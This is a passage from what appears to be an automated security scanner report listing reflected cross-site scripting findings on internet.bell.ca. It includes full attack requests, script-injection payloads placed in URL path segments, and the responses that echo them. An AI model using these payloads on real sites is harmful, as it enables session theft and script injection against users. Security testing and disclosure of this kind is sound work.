Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:48 GMT
Connection: close
Set-Cookie: SMSESSION=4dNPVZCJJ6f3eG2HtPEYQRlpk9Vii1hKEZO9KP0PR7UAe0qkyen70WuZ0jWNlPw7mmtnWvzlKF3xuvgEPwqdXYWb6Lfbd/Xb5wqhnSmRFIqjIMeILrVxCqoSkTq9y42t57TX34sVYKyorF4fuh5UGDrqvsInEEb7kljQ2eRcMQc9aTYLCPHLa9F9euRUMIk5u6OlcjtuM+Mp9XrfICnrHltH0pKbIFRIhZMYfgOLA3p7Wm0ytleKyqWsmfVWcNXX0dUCuEC7RoS7BhdnrSaaR+GUPfkcfifnmkgCB5vnClveLkADIhU+bA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:49 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:49 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:49 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:49 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:49 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:49 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:49 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:49 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:49 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:49 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery-ui.jsc25d3"><script>alert(1)</script>6f4f4bd990a" />
...[SNIP]...

2.40. http://internet.bell.ca/js/jquery.autocomplete.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.autocomplete.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc31f"><script>alert(1)</script>04b513c8232 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsfc31f"><script>alert(1)</script>04b513c8232/jquery.autocomplete.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:41 GMT
Connection: close
Set-Cookie: SMSESSION=EiYsU7xeYKXzlROSe1a13oKxsAxB9aM1Gr5PalPDmPEFey28d9Y9mkF7KS1WVBjvgmMZ3krp4LuXPgLnOBVdUkUWtK1gq/TxXPCRTjMxlItWzTM6yZTwAsFUJZD92jsXDEc9Mq/TatVYItZATaXecKALZ04uRKG0YJcq8k+5a/YCi0N4fXIn78vnJJoKP+47L/YPpczGOOyxTrk8eAiGte5ar5QZk8o6gCYhseMAdmWmRBiyKcA2wl9Ua7qKs5hMEIdLaLuZAr+thz4SEy/KFbBgrcpw5FpV9Ch0EvzXqphG46ZYzQGdqg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:41 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:41 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:41 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:41 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:41 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:41 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:41 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:41 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:41 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:41 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/jsfc31f"><script>alert(1)</script>04b513c8232/jquery.autocomplete.js" />
...[SNIP]...

2.41. http://internet.bell.ca/js/jquery.autocomplete.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.autocomplete.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35901"><script>alert(1)</script>e5ddd563849 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.autocomplete.js35901"><script>alert(1)</script>e5ddd563849 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:58 GMT
Connection: close
Set-Cookie: SMSESSION=VqYbzWrZNUXpzbvNGxEA61ZVolQ/7JTWaZqEYOSLnm7+plh4vg5zMiGX6+Z6XXgAfhue4if/HQpqJWIj4J7L5uqMGWA1/+UpL63Gg6lJwB7BRinD3XxZaCc6AGdax4inFu8eJPrNQ4nm0iuf0QsI+I/pb969U2E16pqXtVo8y7tU64t7eSPGTGK6x/Yaalo67Xcgf/vR5HyOp2Jd0d/59SV4XobYbvfdI8r3dq39DN7W+kyKe092seLDyZTeSwzLvDOdwUio/KtKhhYPIeSUp6Mjz3hQ+GAGeHrTmz1Pt69LNv+WiZbzWg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:58 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:58 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:58 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:58 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:58 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:58 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:58 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:58 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:58 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:58 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
pe="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery.autocomplete.js35901"><script>alert(1)</script>e5ddd563849" />
...[SNIP]...

2.42. http://internet.bell.ca/js/jquery.blockUI.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.blockUI.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3569e"><script>alert(1)</script>cbee9e85d84 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js3569e"><script>alert(1)</script>cbee9e85d84/jquery.blockUI.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
